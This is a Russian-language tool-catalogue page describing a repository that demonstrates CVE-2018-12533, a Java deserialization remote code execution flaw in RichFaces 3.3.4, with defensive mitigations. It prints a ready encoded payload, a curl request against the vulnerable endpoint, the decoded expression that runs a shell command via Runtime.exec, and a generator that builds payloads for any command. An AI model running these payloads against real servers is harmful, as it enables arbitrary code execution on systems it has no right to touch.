Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
richfaces-vulnerability-cve-2018-12533-rf-14310 — Демонстрирует CVE-2018-12533 удаленное выполнение кода в RichFaces 3.3.4. Включает генерацию полезной нагрузки, анализ десериализации Java и стратегии смягчения последствий с помощью фильтров или valves. | Kitploit
Инструменты/GitHubGitHub/mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийОбучение и Образование
GitHubmhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310

richfaces-vulnerability-cve-2018-12533-rf-14310

Демонстрирует CVE-2018-12533 удаленное выполнение кода в RichFaces 3.3.4. Включает генерацию полезной нагрузки, анализ десериализации Java и стратегии смягчения последствий с помощью фильтров или valves.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
11 год назадЕщё не проверено

Демонстрация уязвимости удаленного выполнения кода в RichFaces 3.3.4 и способы ее смягчения и/или блокировки

  • Пример атаки
  • Клонирование репозитория
  • Декодирование полезной нагрузки (payload)
  • Десериализация Java-класса
  • Генерация полезной нагрузки для тестирования уязвимости
  • Как смягчить?
    • Если вы действительно нуждаетесь в этой конечной точке
    • Если вам не нужна эта конечная точка
  • Понимание потока выполнения
  • Кто использует этот ресурс?
  • Советы
  • Соответствующие ссылки

Подробности о CVE-2018-12533. Другие версии RichFaces также уязвимы, как показано здесь.

Пример атаки

root@kitploit:~
export PAYLOAD_BASE64_RICHFACES='eJx1k8-LFEcUx98MuKtZD0YhIQTJOkpmBrarZ2ZdWdksmv2BGZg14oigEoY3NW-7a62u6q16M9PrYm5evHr1llMgAcG!wJsEctk!IR4kh4CE5Bzp7tUlktSlisenvu9Lfev99Acc8w4uWRcJp2S8jZK8cGRG5O4rFjEnWtxAZbizcZO8HTtJF7oJRrSBjKsvD3479c-Pz6ow24Xjg2G0brV1XZgdbFuXIOenmFQUcxdmBlM14vgunJAoY8Khph4cG4yQkeF0bwcnGGo0UfjtcIckr!RgZpDmjXfhe6hkKZSrAgBfAICF1Dv4Mr-WidK1tElqDRkWfUamb6wekevjhNydX56vPnn661YVqj04ITV6fx0T-nffPjtlopUefORxQqNCg-GTklA27JNTqNWD3PlKlubt69Imwo9NYUATe0Fa9ChCubdFHNvRmjIjZaJ33qtQ6UElYfi8UM1C0mEJbmapI--VNSvZ!yrfwuhD-p3ySYDMwWflc5AWH3J4-q8La692uVpwZ95zR8QPjx73!7x78FVO5A7O5V9iZ2i9!y-9bpLq4ZtP!5578fFW3jsPae4BQGWuMnt-v8hj3RqmjEVEvJkxOYP6sNRo5sX1PIZGU2xbl4fRqJWmvHQqZdEvtk0TKUNbaDAiV2sKQ9Ou8YxGUilSAmt7hwq-1hQ0QV2KiTxXcXNsWCWU04fHRlNQRrJxrz5EH9cX6oGsL9TZjmU8H3KShu8nIZiMtSGHQ6UV7wVyQkGn1V4O2p2lxcXAbQfti4vtVtBpdZZa7VYnaLdbF5eW6981a82HAGMHZ-71jpwc!rCfD26!!v3s!rXipQGgymUgAqcsrjlMYyV9Z4Ph1NHVcijSNJt-DVfCiaKpD6U1fqwZb-DIoRVZPqvzVy8vLyy154vJWa2d35eYsoxxjdCIoviwlr0F6sFSwQ__'
curl "http://localhost:8080/myapp/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/${PAYLOAD_BASE64_RICHFACES}.seam"

После DATA/ и до .seam находится полезная нагрузка атаки. Это просто сериализованный, сжатый и закодированный в Base64 Java-класс. Это Base64 с немного измененным форматом RichFaces для совместимости с URL.

Этот класс содержит командную строку в формате Expression Language, которая выполняется приложением, точнее RichFaces, и в этом проблема, так как произвольный код может быть выполнен на сервере.

Команда, закодированная в приведенной выше полезной нагрузке: touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458 (только для демонстрации), и мы это вскоре проверим.

Клонирование репозитория

root@kitploit:~
git clone [email protected]:mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310.git
cd richfaces-vulnerability-cve-2018-12533-rf-14310

Декодирование полезной нагрузки

root@kitploit:~
echo "${PAYLOAD_BASE64_RICHFACES}" | \
    sed 's/-/+/g' | \
    sed 's#!#/#g' | \
    sed 's/_/=/g' | \
    base64 -d | \
    zlib-flate -uncompress > UmaClasse.serialized-class.bin

Преобразует полезную нагрузку из формата Base64 RichFaces в стандартный формат Base64. Декодирует Base64, который в данном случае является сжатым бинарным файлом, затем распаковывает, что даёт бинарный файл сериализованного Java-класса.

Десериализация Java-класса

Здесь мы увидим вредоносную команду, находящуюся внутри полезной нагрузки.

Приведенная ниже команда покажет все атрибуты класса и соответствующие типы, определенные в классе. Она не отображает типы во время выполнения; если вы не знаете, что это значит, ничего страшного.

Здесь мы выполняем Java-код как скрипт благодаря JBang

root@kitploit:~
chmod +x JavaObjectDeserializer.java
./JavaObjectDeserializer.java UmaClasse.serialized-class.bin

Вывод выглядит примерно так:

root@kitploit:~
Objeto java convertido para JSON:
{
  "_width (int)": 111,
  "_height (int)": 31,
  "_data (java.lang.Object)": null,
  "_format (int)": 1,
  "_paint (java.lang.Object)": {
    "className (java.lang.String)": null,
    "savedState (java.io.Serializable)": {
      "m (javax.el.MethodExpression)": {
        "attr (java.lang.String)": "/views/consultaPadrao.xhtml @98,51 paint=\"#{captchaBean.paint}\"",
        "orig (javax.el.MethodExpression)": {
          "expectedType (java.lang.Class)": null,
          "expr (java.lang.String)": "#{facesContext.getExternalContext().getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec(['bash','-c','touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458'])\")}",
          "fnMapper (javax.el.FunctionMapper)": null,
          "varMapper (javax.el.VariableMapper)": null,
          "paramTypes ([Ljava.lang.Class;)": [
            "java.awt.Graphics2D",
            "java.lang.Object"
          ]
        }
      }
    }
  },
  "cacheable (boolean)": false,
  "_bgColor (int)": 0
}
Arquivo .class gravado em: org.richfaces.renderkit.html.Paint2DResource$ImageData.class

⚠️ Главный момент — атрибут _paint.savedState.m.orig.expr, где находится вредоносный код, который в этом примере является лишь безвредным кодом, создающим файл на диске: touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458

Генерация полезной нагрузки для тестирования уязвимости

root@kitploit:~
chmod +x Generator_Paint2DResourceImageData.java

./Generator_Paint2DResourceImageData.java
# или
./Generator_Paint2DResourceImageData.java <команда>
./Generator_Paint2DResourceImageData.java touch /tmp/alguem-esteve-aqui

Вывод покажет команды, которые вы можете выполнить против уязвимого сервера. Настройте только URL.

Как смягчить?

Если вы действительно нуждаетесь в этой конечной точке

Менее простой, но более производительный вариант — изменить код RichFaces для обработки. Ниже приведен соответствующий стек.

Другой, более простой вариант — создать фильтр (javax.servlet.Filter), который будет действовать только на указанном пути, десериализуя Base64 в пути и выполняя соответствующую проверку, чтобы определить, может ли запрос продолжаться или должен быть отклонен. Важно подчеркнуть, что десериализация должна выполняться с использованием класса LookAheadObjectInputStream, как это делается в org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String), чтобы максимально избежать проблем безопасности при десериализации, например, выполнения вредоносного кода.

Если вам не нужна эта конечная точка

Один из вариантов — заблокировать путь конечной точки в прокси, стоящем перед приложением.

Другой вариант, который, я думаю, стоит реализовать, но который не отменяет первый вариант, — создать фильтр (javax.servlet.Filter), который будет действовать только на указанном пути и блокировать доступ. Блокировка заключается лишь в ответе на запрос без продолжения цепочки фильтров. Вы можете поместить текст в body и использовать HTTP-статус 410 (Gone). Помните, что этот фильтр должен быть определен в web.xml приложения. Пример такого фильтра: PathBlockerFilter.

Если вы используете JBoss EAP, упомянутый фильтр можно реализовать как valve (изменения минимальны), и:

  • он будет выполняться до фильтров, определенных в web.xml
  • он должен быть определен в файле jboss-web.xml как первый <valve>, или
  • может быть определен в standalone.xml (или domain.xml) в подсистеме urn:jboss:domain:web с помощью тега <valve
  • Пример такого valve: PathBlockerValve

Понимание потока выполнения

tl;dr: вредоносный код выполняется методом org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext), в строке paint.invoke(facesContext, new Object[] {graphics,data._data});.

Когда выполняется HTTP-запрос, он попадает в метод org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String), как показано в стеке ниже:

root@kitploit:~
Daemon Thread [http-0.0.0.0:8080-1] (Suspended)
  owns: org.apache.coyote.Request  (id=27053)
  org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(java.lang.String) line: 366
  org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 156
  org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
  1. В строке dataString = key.substring(dataStart); извлекается Base64 в формате RichFaces (напоминаем, что этот Base64 в конечном итоге представляет собой сериализованный и сжатый Java-объект);
  2. В строке objectArray = decrypt(dataArray) этот Base64 декодируется и распаковывается;
  3. В строке data = in.readObject() Java-объект с вредоносным кодом десериализуется, то есть получается экземпляр объекта.

Затем запрос попадает в метод org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext), как показано в стеке ниже:

root@kitploit:~
Daemon Thread [http-0.0.0.0:8080-1] (Suspended (breakpoint at line 187 in org.richfaces.renderkit.html.Paint2DResource))
  owns: org.apache.coyote.Request  (id=27053)
  org.richfaces.renderkit.html.Paint2DResource.send(org.ajax4jsf.resource.ResourceContext) line: 187
  org.ajax4jsf.resource.ResourceLifecycle.sendResource(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 221
  org.ajax4jsf.resource.ResourceLifecycle.send(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 148
  org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 226
  org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141

⚠️ Затем в строке paint.invoke(facesContext, new Object[] {graphics,data._data}); вредоносный код наконец выполняется.

Кто использует этот ресурс?

Приведу один пример: компонент rich:paint2D: https://docs.jboss.org/richfaces/latest_3_3_X/en/devguide/html_single/#rich_paint2D

Советы

Можно увидеть полезную нагрузку, полученную приложением, включив DEBUG-логирование для класса org.ajax4jsf.resource.ResourceBuilderImpl.

Соответствующие ссылки

  • https://codewhitesec.blogspot.com/2018/05/poor-richfaces.html (Основной)
  • https://seclists.org/fulldisclosure/2020/Mar/21
  • https://github.com/redtimmy/Richsploit
  • https://web.archive.org/web/20200315184606/https://www.redtimmy.com/java-hacking/richsploit-one-tool-to-exploit-all-versions-of-richfaces-ever-released/
Скачать инструмент